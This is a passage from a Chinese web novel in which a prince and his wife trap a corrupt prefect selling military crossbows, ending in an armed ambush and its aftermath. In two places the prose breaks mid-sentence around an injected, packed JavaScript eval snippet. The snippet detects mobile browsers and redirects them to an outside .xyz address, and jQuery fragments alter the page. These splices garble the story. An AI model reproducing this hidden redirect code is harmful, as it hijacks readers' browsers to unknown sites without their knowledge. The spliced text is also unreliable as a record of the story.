“是吗?”谢怀雵将杯盖一扣,发出“啪”得一声脆响,听得黄桓心里都跟着抖了一抖。 他看着垂下头去的黄桓,舒缓声调道:“刺史大人不必紧张。那关正青是个什么样的人,本王心里十分清楚。他素来性情酷烈,要说他有意诬陷与你,那本王也不会感到意外。” 听到这话,黄桓高悬的心略微松了一松。 是了,这个齐王明显跟关正青不对付。恐怕他今天叫自己过来,也是有意想从自己这里入手,给远在越州的关正青使个绊子! 想到这里,黄桓拱手高呼:“殿下明鉴!” 谢怀雵摆了摆手:“你也不必夸我。我今日叫你过来,就是想问个清楚,你确实没有犯贪墨之罪吧?” 黄桓连声道:“下官确实没有!” 看他这副信誓旦旦的模样,谢怀雵抬了抬嘴角:“没有就好。不过你可不能骗本王。陛下派来的御史程茂典与本王是旧相识,倘若让本王知道,你在此事上有所欺瞒……黄桓,陛下面前,本王还是说得上话的。” 黄桓应了两声“是”,突然从谢怀雵的话里咂摸出一些味道来。 这个齐王,莫不是在暗示自己,他能帮自己在御史和陛下面前说话? 想到这里,黄桓试探着开口道:“殿下,这回因为下官的失察之罪,劳烦程御史从金陵至此查案。下官先前就在考虑,程御史一路舟车劳顿,是否应该送他些什么以示心意。既然程御史与您是旧相识,还请殿下替下官指点迷津。” 谢怀雵笑了:“黄刺史思虑周全。程御史虽在兵部任职,但出身清贵,向来雅好名画。” 听到这话,黄桓心中大定。 “正好!下官家正中收藏了几幅好画。明日下官就让人给您送过来!您见多识广,替下官掌一掌眼,为程御史挑上几幅合适的。” 顿了顿,黄桓又补上一句:“光是画作实在有些简薄。下官是个粗人,也不知道再准备些什么才合适。这样,下官明日一并拿些银钱来,劳烦殿下替下官再置办点别的。” 谢怀雵脸上的笑容变得真切起来:“黄刺史是个周到人。你在婺州这么多年,百姓对你多有赞誉,本王自然信得过你的人品。既是 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他等这个机会等了好多年,如今再看这回的风波,竟也有了点塞翁失马焉知非福的意味。 ***** 那边黄桓乘坐的马车从齐王府门口离去,这边姜同云已经在跟谢怀雵复盘刚刚的情况了。 “这个黄桓,还真是够聪明的。”谢怀雵似笑非笑地“夸”了黄桓一句。 “可不是嘛。”姜同云刚刚一直就躲在待客厅主座屏风的后头偷听,对现场的情况可谓是一清二楚,“你最开始说那几句话的时候,我都没回过味来。要不是黄桓说的那句‘以示心意’,我都反应不过来你的暗示,还着急你怎么不快点钓他呢。” 谢怀雵笑了:“夫人没遇到过这种事情,一时反应不过来也是正常的。” 姜同云确实更熟悉后宅妇人之间交流的方式,对朝臣间更加隐晦的索贿话术实在是没有什么研究。 所以谢怀雵今天才坚持要她躲在屏风后面听。既然他俩回了婺州,以后跟地方官员打交道的场合只会越来越多。他想借着这个机会让姜同云多观摩学习,以免往后不知不觉间吃了什么暗亏。 谢怀雵对姜同云的期待,从来就不只是一个打理后宅的王妃而已。 姜同云现在还没能明白谢怀雵的用意。 不过她一向习惯于对这种不熟悉的情况加以复盘分析。这会儿跟谢怀雵说起来后,她自然而然地就开始解读黄桓其他话语。 “他后面说把画送到咱们府上来让你帮忙挑,就是在暗示你也可以趁机拿走些一咯?” “还有那个帮忙买东西,应该也是给你送钱的方式之一吧?” 谢怀雵笑着点了点头:“夫人学得很快。” “这个黄桓,动作这么熟练,以前肯定跟不少人有过这种往来。”说到这里,姜同云难免有些生气,“一想到他那些钱都是怎么来的,我就恨不得马上把他给抓了!” 谢怀雵握住她的手拢在掌心:“局是夫人提出来的,夫人也该更耐心些才是。” 64. 演技 五月底,负责调查婺州守军贪墨一案的御史程茂典带着一应人马抵达婺州。 提前接到消息的黄桓一早就带着人等在城门口迎候。见到程茂典后,黄桓立刻上前寒暄:“程大人此番舟车劳顿,真是辛苦了。” 程茂典只是淡淡地扫了黄桓一眼,用公事公办的语气说道:“我等食君之禄,理应为君分忧。我奉陛下之命前来,刺史大人何以言苦?” 黄桓当着婺州这么多下属的面,被这番不软不硬的话顶了一下,说不尴尬是不可能的。 更何况程茂典虽是御史,但实际官阶是低于黄桓的。被一个品级不如自己的人当众这么下面子,黄桓心里有多少恼怒只有他自己知道。 不过黄桓心态很好,不仅马上就调整好了脸上的表情,还继续尝试跟程茂典套近乎:“程大人风雨兼程,这些天应该都没怎么好好吃过饭吧?官驿条件有限,我已在酒楼里备了一桌席面,还请程大人不要推辞。” 程茂典皱着眉,刚想继续拒绝,却见人群后面缓缓走上来一个人。 那人穿着七品官服,上来后对着黄桓和程茂典分别行了一礼,自我介绍称是齐王府的东阁祭酒。 听到齐王的名号,程茂典脸上冷肃的表情稍有缓和:“齐王殿下在金陵时与我曾共事过几年。我如今到了婺州,是该寻个时间上门拜访。不知道殿下何时方便?” “殿下闻知程大人已至婺州,特意在府上备了宴席,为您接风洗尘。”这位东阁祭酒不仅相貌堂堂,说起话来也是语调柔和,让人如沐春风,“下官就是殿下特意派来接您的。” 听到这话,程茂典不由露出了笑容:“既是殿下相邀,盛情难却。”说着,他转头吩咐自己带来的人先把行李等物送去官驿放好,自己则跟着那位东阁祭酒上了齐王府的马车。 眼看程茂典就要离去,黄桓连忙叫住还未上车的王府祭酒:“殿下只邀请了程大人吗?” 年轻的官员露出了礼貌又疏离的笑容:“殿下今日请程大人过去,是要叙旧的。” 既是叙旧,黄桓这些不相干的人自然不好在场。 不过这位东阁祭酒很快又凑近了黄桓,小声说到:“下官出门前,殿下特意嘱咐过,说等见了黄大人后,替他转达一句话。” “殿下会替您把事情安排好的,还请黄大人不必忧心。” 听到这话,黄桓的心略定了定。 想来齐王也是考虑到,有自己这个涉案人员在,程茂典可能会有所顾忌,不好放开了说。既然这样,那今日先不跟过去也好。 至于齐王办事牢不牢靠,横竖接下来几天有的是机会能看。 想到这里,黄桓朝着这位官职远低于自己的年轻人客气地拱了拱手:“那就有劳殿下了。” ***** 齐王府内。 程茂典在谢怀雵的招待下,用了一餐精致但不铺张的饭食。 吃完饭后,眼看天还没黑透,谢怀雵领着程茂典到园子里散步消食。 眼见周围已无旁人,程茂典率先开口,低声道:“这次出来前,陛下已经跟下官交代过。此次调查婺州守军内部贪腐一案,实际由殿下在暗中主导。殿下若有什么吩咐,尽管交代下官便是。” 谢怀雵笑了:“也算不上是吩咐。此次查案,你在明,我在暗。你主要的作用,就是稳住黄桓。” 程茂典是个聪明人,只这么一听就明白了谢怀雵的意思:“殿下是要我睁一只眼闭一只眼,随便查点什么回去交差?” “不止。”谢怀雵笑道,“你这几天不仅不能深入调查,还得对黄桓和颜悦色一些。他要请你宴饮,你就高高兴兴去吃;他要请你游玩,你就开开心心去玩。甚至他要给你送礼,你也自己看着把握分寸,多少收下一些。” 程茂典一时有些为难:“前面两样都还好说。可这收礼的事情……” “我已经替你收下一部分了。要是你推拒黄桓送的别的东西,他搞不好是要起疑的。” 听到这话,程茂典已经开始冒冷汗了:出门前,陛下也没说跟他说过这次是来收受贿赂的啊! 他们程家几代清流,最是爱惜羽毛。这要是被别人知道了参他一本,那他以后还怎么做人啊! 程茂典刚要说话,谢怀雵却抢先一步开了口: “放心。这件事我已经跟陛下报备过,也得到了陛下的首肯。等你走的时候,我会给你备上一箱土仪带回去,黄桓不会发现问题的。” 程茂典这才松了口气:“您有安排就好!” 犹豫了一下,他又问道:“下官走前,陛下只说您已有计划。下官回去后,陛下那里自然是有交代的。可其他朝臣那儿……” “这点你也不用担心。黄桓已经给你准备好了替罪羊。你跟着他玩上几天,再装模作样地去军营巡查两回,看一看账本,最后审一审那两个顶罪的,就好带着人回金陵去交差了。” 见谢怀雵确实已经把事情全部安排妥当,程茂典彻底放下心来:“既然殿下都已安排妥当,下官一定会全力配合殿下的。” 谢怀雵微微颔首:“哦对了。下回黄桓再请你出去吃喝玩乐的时候,你注意点你对他的态度。不要过于亲近,但也不能太过冷淡。” “这……”程茂典一时有些犯难。 知道他性情本就有些冷淡孤僻,谢怀雵笑着指点道:“你想想先前是怎么去户部讨钱的,现在就怎么对黄桓。” 听他这么一说,程茂典豁然开朗:“下官明白了!” ***** 谢怀雵以官驿来不及收拾齐整为由,留程茂典在王府上住了一夜。深知程茂典性格的他抓紧时间给对方补了一下课,交代了一些跟黄桓相处时的注意事项和相处分寸。 等第二天黄桓再见到程茂典时,明显感觉这位金陵来的程大人对自己客气了许多。 虽然看着还是那副冷冷淡淡不苟言笑的模样,但今天的程茂典对着黄桓说话时,明显语调都柔和了许多。黄桓跟他聊婺州风土人情时他还会适当地回应一二,一点也不像昨天那样,完全一副公事 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眼见陛下给的期限将至,在程茂典第三次收下黄桓送给他的礼物后,黄桓终于彻底地对这位程御史放了心,提出军营内已经整改完毕,请程御史入军营调查。 这些天来,程茂典一直谨记谢怀雵的叮嘱,并按照他先前嘱咐过的几项要点行事。等黄桓终于带他进了军营后,他也丝毫没有多看多问,就按照常规流程,简单看了看各处情况,确认没有问题后就痛快地结束了调查。 等再草草审问过黄桓押在牢里的两个替罪羊后,程茂典提出事已办完,要带着罪犯回京复命去了。 听说程茂典要走,谢怀雵又在王府里办了一场宴会替他践行。 看着在王府里才敢卸下伪装的程茂典,谢怀雵憋着笑敬了他一杯:“这些日子真是辛苦你了。” 程茂典这段时间还真是累得慌。 别看他每天都在游山玩水吃吃喝喝的,可跟婺州这帮官员打交道那真是一点也不轻松啊。他生怕自己说错一句,会影响到谢怀雵的后续计划,这些天一直绷着一根弦,时刻也不敢放松。 此时听到谢怀雵这么说,程茂典不由苦笑一声:“下次要是再有这样的差事,殿下还是选个别的人来吧。” “别的人可做不到程大人这般进退有度的分寸啊。此次要是能揪出黄桓更多的罪证,程大人功不可没。” 程茂典摆了摆手,连声让谢怀雵别再给自己戴高帽了。 “土仪我已经给你备好了。黄桓给你送的那些东西,你就暂时留在我这儿吧,等算完他的罪行,再一并封存上交。” “好。”程茂典巴不得早点把这些烫手山芋甩出去,当即一口应下。 “顺便,你再帮我把这封密折递交给陛下。”谢怀雵说着,从袖中取出一封已经封好口的书信,交给了程茂典,“接下去可以开始下一步的计划了。” 窝打得差不多了,是时候该下鱼钩了。 65. 夜访 程茂典一走,黄桓就寻了个借口,来齐王府求见谢怀雵。 谢怀雵正在犯愁用什么理由去找他呢,他倒先主动送上门来了。于是便也顺水推舟,让人把黄桓请了进来。 见了面后,黄桓只简单寒暄了两句,便从怀里掏出两张地契来:“这次多亏有殿下替下官筹谋。下官无以为报,手上唯有城郊这两处庄子还算有些景致。还望殿下可以笑纳。” 谢怀雵抬手制止了他,面上稍露遗憾之色:“黄大人的心意本王是知晓的。只是……” 见他这副表情,黄桓以为他是嫌自己给的不够,心中不由暗骂了两声。 谢怀雵轻叹一声,才不紧不慢地说道:“程御史走前跟本王透了点口风。” “虽说这婺州守军贪腐一案已经查明与黄大人无关,但你到底也有失察之罪。陛下这些年对军务很是上心,你的过错虽然不大,但多少也是有些惹恼陛下了。” “这、这可如何是好?”听到这话,黄桓才开始紧张起来,“还请殿下想想办法,帮下官在陛下面前分说几句啊!” “本王何尝不知你是无端受了牵连的?”谢怀雵虚按两下,示意黄桓稍安勿躁,“程御史也知你冤枉,所以走之前特意跟本王商量了一番。” “照陛下的态度来看,不罚你是不可能的。不过程御史回京后会尽量在陛下面前替你周旋,我也会写道折子去给你求情,争取尽量减轻陛下对你的惩罚。” 黄桓连忙拱手作揖:“多谢殿下和程御史费心!” “你先别急着谢我。”谢怀雵又叹了口气,“我和程御史分析过,即使我俩尽力而为,只怕你也没法继续在婺州待下去了。陛下很有可能会调你去偏远穷苦之地州为官,以示惩戒。” 黄桓的心略向下沉了一沉。 不过他很快就稳住了。 不是贬官就好。只是调去穷乡僻壤吃几年苦,这还算在他的接受范围之内。 横竖他这些年在婺州也捞得盆满钵满了。现在他正在风口浪尖上,能被调去远离金陵的地方避避风头也好。 想到这里,黄桓定了定神,开口道:“下官自知有罪,本不奢望能得到陛下宽宥。如今殿下和程御史愿意替我筹谋,能不被贬官,我已是心满意足了。” 谢怀雵欣慰地点了点头:“黄大人能这么想自然最好。以你的才干,往后不愁没有在陛下面前露脸的机会。等过些年你再做出些政绩,本王一定会想办法帮你的。” 得到谢怀雵的这句承诺,黄桓这才稍稍松了口气。 他连忙把刚才没能送出去的地契双手奉上:“殿下之恩,下官无以言报,唯有铭记在心。这两处庄子只能聊表下官心意,还请殿下莫要再推辞了!” 见他坚持要送,谢怀雵也就没再推拒:“这段时间我会帮你看着点,尽量挑个好一点的去处。” ***** 那天王府谈话过后,黄桓虽然得到了谢怀雵帮忙的许诺,但他心中仍抱有些许希望,另外托了金陵的人脉帮他打探朝堂上的消息。 没几天后,陛下对婺州贪墨的事情做了裁定。 两名涉案官员依律抄没家产,官员本人问斩,其家人被判流放。婺州刺史黄桓,因监管不力,罚俸三年,调任黔州。 黔州虽然并不贫苦,但一直是出了名的流放之地。陛下对黄桓的这一调任举措,很明显能看出他心中的不满之意。 不过早就在谢怀雵那里提前得到消息的黄桓,对陛下的这一决策并不太感到意外,甚至还因先前做过更多不好的预设,这下对比之后竟然觉得黔州也还不算太差。 就是调过去以后一切都要重新开始,财路多少都会受到影响。 好在因为新的婺州刺史人选未定,陛下没有马上让黄桓离任,而是给了他半年的交接时限。 黄桓就打算趁着这段时间,再在婺州捞完最后一笔。 还没等黄桓想好是敲富商还是榨平民,朝廷又下了一道新的政令。 陛下准备拿出一批新式的弓弩拨付给越州驻军使用。考虑到前几年分到各州的老式弓弩多少都有损耗,他难得大方了一回,要兵部按照各州报上来的损耗数目,用新式弓弩补齐,分往各州。 因与越州相近,婺州就也被放在了第一批补齐的名单上。 听到这个消息后,黄桓心中大喜过望。 新式弓弩! 这要是卖给那些人,能赚多大一笔钱啊! 但是这事风险太大,他刚开始的时候还有些犹豫。不过很快,同样收到消息的那些人就用先前约定好的秘密方式联络上了他。 面对着对方开出的惊人高价,黄桓一咬牙,决定铤而走险。 ***** “殿下,王妃。黄桓的人果真秘密出城去了。” “好。多派些人手,小心跟着。尽量顺着这条线把对方的来路摸清。” “是。” 等回话的侍卫下去后,谢怀雵半是惊叹半是夸赞地说道:“还是夫人料事如神。这个黄桓居然真的敢顶风作案。” “也不是我料事如神。”毕竟更多的还是系统的功劳。 姜同云笑了笑:“咱们先前铺垫了这么多的动作也都不是白费的。” 先用查案的事安抚住黄桓,让他误以为危机已经过去;再用调任的事情刺激他,诱使他在钱财受损的情况下加大捞钱力度;最后就是拿新式弓弩做饵,一举钓他上钩。 只不过有了系统加成后,黄桓面对这一套动作会更加容易失去理智,无法冷静地判断自身情况。 “那也是夫人的功劳。”谢怀雵从来不会吝惜自己对于姜同云的夸奖,“要不是夫人大胆提出这个计划,恐怕我还要多花好多力气才能摸到些许蛛丝马迹呢。” “那咱们接下来就稳坐钓台,等鱼上钩了。” 谢怀雵点了点头:“不过也不能放松警惕。未免出现意外,黄桓这边也要加派人手盯着。” ***** 在双方都略有些焦急的等待中,半个多月的时间一晃而过。 这天,黄桓终于收到了商队即将抵达婺州的好消息。 新式弓弩早在十天前就已经送入了婺州驻军军营之内。这些天里黄桓故技重施,以训练时操作不当为由,报废了两架老式弓弩。 不过出于谨慎,黄桓并未马上上交报废弓弩的报告书。他用那两架名义上已经被报废的老式弓弩替换掉了刚送来的新式弓弩,打算等交易完毕之后,再行处理。 新式弓弩在样式上与旧弓弩有所不同。黄桓希望对方能在交易后提供两架仿造的新式弓弩给他,哪怕只有个样子也好。横竖弓弩摆在那边几年也用不到一回,有个假货在,以后也不容易出岔子。 对方同意了黄桓的附加要求。 商队进入婺州当晚,黄桓就亲自带人前往商队租下的小院里进行交易。 浓重的夜色中,黄桓在一片寂静里轻轻敲响了院门。 他按着事先约定好的暗号,重复敲了三遍,又耐心等了十息左右,院门才被小心地打开了。 开门的是个足足比黄桓高了一个头的强壮男人。 看到那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910245|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张熟悉的面孔,黄桓心下微定。 院里的男人快速扫了一眼黄桓和他带来的人,压着嗓子问道:“没被人发现吧,” “放心。”黄桓用同样音量答复道,“我已经提前让人封了街道,谁也不会路过的。就算有意外情况,这边夜里这么安静,闹起来老远就能听见了。” 对方点了点头,侧开身子让黄桓等人进入。 院子里一片漆黑,没点丝毫灯火。但借着明亮的月光隐约可以看到,这座小小的院落里居然还有不少的人。 看来对方对这次交易也是非常谨慎的。 抬着箱笼的长随轻轻把手中箱子放在了院子里的青石板地上。 “东西就在这儿了,你们查看一下吧。”黄桓解下腰间钥匙,抛给男人。 男人接住钥匙,打开了箱笼。 他借着月光朝箱子内看了两眼,随后朝自己身后比划了两个动作。 立刻有人点起一盏灯笼走上前来。 借着灯笼的火光,男人仔细确认了一遍箱子里的东西:“让莫师傅也过来看看。” 很快,又有一个人凑到了箱笼旁。 这位莫师傅年纪稍大,但动作十分利索。他直接从箱子里取出一把弓弩,上手查看起来。 仔细翻看一遍,还按了两个机扩试了试手后,莫师傅低声向男人确认:“应该不是假货。” 得到验证后,男人表情略有放松。他朝刚才给他点灯的人又比划了一下,那人从怀里掏出一叠银票,递给了等在一旁的黄桓。 黄桓接过银票,快速清点一番,收入自己怀里:“说好的仿制品什么时候可以给我?” “再过两天。”男人答道,“我这次特意带了莫师傅来,他会在这几日内仿造出两把样子货来给你。” 莫师傅也接了一句:“这次的新弓弩是在原先的基础上改良的,只仿制外形的话并不算太难,两天时间足够了。” 黄桓点了点头:“那两天后,还是这个时间,我再来一趟。” “多谢黄大人以身犯险,替我等引路至此。” 门外突然传来的声音惊得院里的人全都下意识地退了两步。 男人回过神来,恶狠狠地看向黄桓:“黄桓,你敢坑我!” 黄桓正要喊冤,院门已经被人踹向了。 男人抽出腰间短刃,踹开拦在黄桓身前的两名长随,一把勒住了黄桓的脖子:“赶紧撤!” 眼见自己落入男人手中,黄桓连忙嚷道:“我没有坑你!” 男人冷笑一声:“你不是说已经封锁了道路吗?如果不是你跟人联手骗我,为什么你的人没有示警?” 黄桓哪里知道为什么啊?他自己都没搞清楚现在的情况呢! 意识到男人没法说通,黄桓只能自己尝试反抗。然而男人的胳膊像道铁箍一样紧紧地扣在他颈间。黄桓越是挣扎,男人压制他的力气就越大,最后还直接用刀柄在他鼻梁上重重敲了一下。 巨大的疼痛瞬间冲击了黄桓的大脑。口鼻间浓重的血腥味让黄桓不敢再动。 男人抓着不再动弹的黄桓往屋里快步走去。 可惜没走两步,男人的下属就从后门方向退了回来:“后门也被人堵了!” 男人正欲思索对策,前头的院门已经被人踹开了。 他的下属立刻拔出兵刃,挡在了他的身前。 院门洞开,一队身穿全副铠甲的士兵手持火把,立在门外。 领头的小将上前一步:“诸位远来是客。请恕我家殿下招待不周,现在才来登门拜访。” 66. 混乱 男人一咬牙,将手中短刃横在黄桓颈间:“别动!否则我就杀了他!” 门口小将没有立刻作答。 院子里静了片刻。 就在男人愈发紧张,手心都渗出冷汗来时,那名将领往侧旁让了一步,露出站在他身后的年轻男人来。 那个人没有穿戴铠甲,一身打扮更像风度翩翩的世家公子。 然而当男人在跃动的火光中跟他对上视线时,他觉得自己仿佛是跟什么大型猛兽对视了一般。一股寒意顺着脊背直窜上他的脑门,紧接着后颈上的汗毛就齐刷刷地立了起来。 男人心中对来人的身份已经有了猜测。他艰难地从牙缝里挤出来两个字:“齐王?” 被男人控住的黄桓听到“齐王”二字,直接吓得扑腾了一下。 听到男人道出自己身份,站在门外的谢怀雵淡淡地笑了:“看来我虽离了边境,但在晋朝也还算有点名声。” 不等男人答话,谢怀雵就将目光转向了被挟持的黄桓:“黄大人可还好。” 听到谢怀雵的话,男人又加大了手上的力气,勒紧黄桓:“你要是还想保他,就不许再往前了!” 谢怀雵轻叹了一声:“黄大人舍身取义,本王自然是想保他一命的。只是黄大人自知罪孽深重,临行前就已经交代过,若是他不幸落入敌手,要本王千万以大局为重,不要顾惜他的性命。” 说着,谢怀雵又重重地叹了口气:“黄大人请放心。你走后我会上报陛下,请求他看在你将功补过的份上,饶你妻儿一命。” 听到这番话,男人气得咬牙切齿:“好你个黄桓!” 黄桓还想分辩。可惜男人将他勒得太紧,他现在连呼吸都觉得困难,能不晕过去都已经很难了。 男人快速扫了一眼院门外的情况,又跟身旁下属交换了一下眼神。 谢怀雵带来的人太多了。原本以为拿着黄桓还能威胁对方一二,现在看来这个黄桓根本就派不上用场。 想要搏出一线生机,只能另寻他法。 恰在此时,院外的谢怀雵又开口了:“这位壮士,想必你心里也清楚,今日想走是不可能的了。这样吧,你放黄大人一命,主动卸下兵刃,束手就擒,也省得你的这些下属跟着你白白送命。” 男人犹豫片刻,抵住黄桓的刀尖略松了松:“你保证不会伤害我的弟兄们?” 谢怀雵笑道:“打打杀杀的,难免会惊扰到周围百姓。” “好!” 男人扔掉手中短刃,只用胳膊控制住黄桓,慢慢向院门口挪去。 行至门边,男人眼神一厉,猛地将黄桓朝门外一推。同时右臂一甩,一柄精巧袖剑落入掌心,对着门口毫无防备的谢怀雵直刺而去! ***** 自打顺着黄桓的人摸到那支神秘商队后,这群人的动向就一直处在齐王府人马的严密监视之下。 确定他们和黄桓接头的地点就是这处小院后,谢怀雵提前派人秘密地把周围几处空置的院落都租了下来。 因为商队有意选了住户稀少的地方,反倒还变相地帮谢怀雵省了好多事情。 等到商队开始朝着婺州出发,谢怀雵就陆陆续续地把齐王府内的卫兵分散安排去了这些院子里。 今天晚上,他更是赶在黄桓封路以前,乔装打扮,带着姜同云和一小队人悄悄潜入了进来。 借着夜色掩护,夫妻俩一直躲在附近的一处三层小楼里偷偷往这边看。 等到黄桓带着人进入小院后,谢怀雵留下一小队人保护姜同云,自己则带上大部分人马,悄无声息地包围了院子。 谢怀雵走后,姜同云就独自趴在窗边观察情况。 不过外头黑灯瞎火的,她的目力也不如谢怀雵,所以只能连蒙带猜地去看小院里的情形。 男人挟持黄桓的时候,躲在楼上的姜同云只隐约听到了一些闷响。看不清楚状况的她急得抓心挠肝,恨不得冲下去仔细看看到底发生了什么。 等到谢怀雵的人踹开了院门,姜同云才借着外头火把的亮光看到了院里的情况。 眼见黄桓被男人勒住,脖子上抵着一把明晃晃的利刃,脸上还糊着好大一块血迹,姜同云忍不住“啧”了两声:看着就好痛啊。真是苦了咱们的这位刺史大人。 感慨之间,院子内外的两拨人马似乎交流了一番,并且初步达成了共识。 就见男人丢掉手中兵刃,夹着黄桓缓缓朝院门口走去。 姜同云直起身子,不知为何,她下意识感到有些不安。 果不其然,下一秒,男人就推开了黄桓,从袖中变出一把短剑,直接对着谢怀雵发难! 两人距离之近,短剑的寒光就这样直直地映在谢怀雵的脸上,仿佛已经扎到了实处。 姜同云吓得差点叫出声来! 好在谢怀雵也不是全无防备。男人刚亮出袖剑,他就往后撤了一步,随后迅速向一旁侧转身子,顺利避过第一波袭击。 趁着男人第一招落空,周围的卫兵抓准空隙,快速将男人按倒在地。 眼见男人被制住,姜同云才松了一口气,不想院子里又发生了意外状况! 男人的下属趁着方才的袭击,已经拿着兵刃冲至院门口。 门口的卫兵立刻迎上前去,双方就这样短兵相接,战成一团。 凭借着人数和装备的优势,谢怀雵带来的卫兵们很快占据了上风,突破院门限制,逐渐往院内推进。商队人马虽然个个都是精挑细选的好手,面对这样巨大的差距,也只能且战且退。 随着卫兵涌入,谢怀雵身边的保护圈逐渐松动。 混乱中,有人摸到打开的箱笼边,拿起弓弩对准了站在门口的谢怀雵。 杂乱的刀兵交接声中,一道寒芒悄无声息地朝着谢怀雵直冲而去! 深沉的夜色中,突然闪现的锐利锋芒刺得远离战局的姜同云都觉得眼睛生疼。 等她意识过来那是什么时,箭簇已然逼近谢怀雵身前。 此时的谢怀雵根本避无可避。 就在姜同云浑身发抖,忍不住闭上眼睛时,一阵刀击铿鸣声响起。 卫兵们持盾包围住谢怀雵,护着他向后退去。 火光晃动,姜同云只能勉强看见,人群中的谢怀雵似乎并没有倒下。 她没法继续等在这里。她要去确认谢怀雵到底有没有出事。 姜同云无视侍卫的劝说,强压着心中的慌乱和恐惧下了楼。一路冲至街道,正好撞上撤回来的谢怀雵。 见她出来,谢怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916128|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雵很是讶异:“这里很危险,你怎么过来了?” 姜同云一言不发,冲上前去,抓着他的两只胳膊反复查看。 确认他还好好地站在自己面前,狂跳的心脏才稍稍平静下来。害怕退去后,汹涌的怒火占据了姜同云的脑袋。 “你也知道危险啊?!”姜同云根本顾不上在旁人面前给他留面子,直直顶了回去,“既然危险,你刚刚凑那么近做什么?!” “你知不知道我在上面多害怕你出事?!” 柔和的月光打在姜同云怒气冲冲的脸上,清晰地映照出了两道未干的泪痕。 谢怀雵心头一软,上前环住她的肩膀。 感受到怀里的人正在轻轻地发抖,谢怀雵胸口一疼,连忙安慰道:“别怕,别怕。我现在不是好好的吗?” 姜同云伏在他的怀里,男人举剑刺向谢怀雵的情形和弩箭直冲谢怀雵的场景在她脑海中交替播放。她死死地抓着谢怀雵的衣袖,眼泪汹涌而出。 “差一点,刚刚就差一点……”她就要永远失去谢怀雵了。 怒意散去后,巨大的恐惧感重新袭来。 姜同云埋在谢怀雵怀里,压着嗓子哭了一场。 感受到她的惊恐和惧怕后,谢怀雵心中也多了一丝悔意。 他先前只顾自信自己的实力,却忘了如今身后还有一个人会替他担惊受怕。 想到这里,谢怀雵抱着姜同云认真许诺:“我保证,以后再也不以身犯险,绝不会让你再替我担心了。” 听到他的话后,姜同云又抽噎了一阵,这才擦掉眼泪抬起头来:“你刚刚真的没有受伤?” “真的没有!”谢怀雵信誓旦旦地说道。 姜同云舒了口气:“你往后可不能再这样吓我了!” 谢怀雵点了点头,再一次做了保证。 彻底冷静下来后,姜同云才发现小院那边的拼杀声已经落幕。 抬头一看,王府的卫兵们正远远地站在另外一头,时不时还鬼鬼祟祟地朝他俩的方向偷看。 姜同云这才意识到自己刚刚的失态。 她脸上一红,推了谢怀雵一把:“那边好像结束了,你快过去看看吧。” 谢怀雵笑着替她擦掉眼泪,又在她额头轻轻吻了一下,这才转身过去处理后续事情。 收拾干净脸上的泪痕后,姜同云才往那边走了两步。 只听这次负责领兵的小将正在向谢怀雵汇报情况:“院子里的人已经被全数缉拿。院子里共有十八个人,其中一人在搏斗中被击杀,另有三人重伤。” “我们这边的情况呢?” “王府卫兵全都穿着铠甲。只有两人在对战那名弓弩手时因为防护不当,被弩箭射中受了一点轻伤,其余人都没有出事。” “好。黄桓呢?” “黄刺史只是被敲断了鼻梁骨,鼻血流得太多,看起来比较吓人。他刚刚晕过去了,我是直接把他叫起来呢,还是?” “别叫了,没得烦人。直接捆起来一起带回去关起来吧。” “是。” 谢怀雵又安排好了关押这些犯人和后续安抚附近居民的事情,这才转过身来看向等在一旁的姜同云。 “事情都处理完了,咱们回家去吧?” 67. 靠岸 姜同云靠坐在床上,睡意全无。 木樨收拾好房里的东西,见她还没躺下,便问道:“王妃还不打算休息吗?” 姜同云摇了摇头:“现在还不想睡。你先去休息吧,给我留盏床头的灯就行。” 木樨不知道今天晚上具体发生了什么。不过她知道齐王和自家姑娘是带了卫兵出门的,想来今晚多少是经历了一些比较惊险的事情。 那姑娘一时睡不着也是很正常的。 于是木樨没再多言,吹灭了房间里多余的烛火后就关上门退了出去。 姜同云拉起被子包裹住自己的肩膀,轻轻叹了口气。 她的作息一向非常健康,这会儿早就过了平时休息的点,身体一早就在发出疲惫困倦的信号了。 但她一闭上眼,脑袋里就会闪现今晚谢怀雵两次差点遇险的画面,跟着,好不容易酝酿出来的睡意就会在狂躁的心跳中烟消云散。 她试了几次都没能睡下,干脆披上衣服坐起来,尝试想点别的什么转移注意力。 脑袋里才起了一个头,床头旁的窗户突然被叩响了。 谢怀雵的声音低低地从窗外传了进来:“睡不着吗?” 姜同云起身下床,推开了窗户。 房间里的烛火透了出去,映亮了窗外人的脸。 “我看你这里的灯还没熄灭,猜你大概还有些害怕,所以过来看看。” 姜同云放好支架撑起窗子:“是还有一点。” 夏日温热的风顺着打开的窗,轻轻拂在姜同云的脸上。 谢怀雵看着那双还有些发红的眼睛,脑海中又浮现起她脸上带泪的模样来。 “来了这么久,咱们好像还没一起去园子里逛过吧。”谢怀雵微微仰头,笑着望向姜同云,“趁着今夜月色正好,我们去湖上泛舟赏月,如何?” ***** 谢怀雵提着灯笼,牵着姜同云走在通向湖边的小径上。 此时已是后半夜,整座王府都像是陷入了沉睡,只有偶尔的蝉鸣和鸟叫声陪伴二人。 月亮虽已西渐,但前半夜遮蔽天空的乌云此时已经全然散去。明亮柔和的辉光自天空中洒落,映得周围的花草树木都好似蒙上了一层白纱。 在这个被染成冷调的世界里,谢怀雵和他手里提着的灯笼好像变成了仅剩的暖色。 